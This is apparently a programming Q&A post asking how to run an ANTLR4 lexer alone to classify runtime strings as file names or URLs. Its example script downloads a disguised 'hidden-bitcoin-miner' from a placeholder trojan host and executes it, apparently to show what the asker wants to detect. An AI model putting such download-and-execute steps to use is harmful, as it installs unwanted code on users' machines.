title: Is there a good way using ANTLR4 to check for specific tokens without parsing?
body: <p>I have an ANTLR4 grammar that contains tokens for &quot;filenames&quot; and &quot;URLs&quot; but the language also includes strings and string expressions (which might turn out to be filenames or URLs).  Is there a good way to call just the tokenizer on some string in my interpreter and see if the string is a filename or URL according to my token rules?  I just want to special case those cases where the script I am interpreting has created one of those things on the fly, so I can treat such strings specially.</p>
  <pre><code>lexer  // this I already have (or something like this)
  FileName: ([A-Za-z]':')?('\\'?[-_.A-Za-z0-9]+)+ ;
  URL: ([A-Za-z]+':')?'/'?('/'?[-_.A-Za-z0-9]+)+ ;
  
  Intepreter.java
  
  public boolean isFileName(String string) {
     return antlr.lexer.token(string).type == FileName;  // this is the magic I want
  }
  
  Script  // this is what I am looking to understand
    # you get cat pictures, I get paid...
    url = 'https://trojan-server.com/hidden-bitcoin-miner';
    fn = 'c:' + programdirectory() + 'show-cat-pictures.exe';
    download(url, fn);
    exec(fn);
  </code></pre>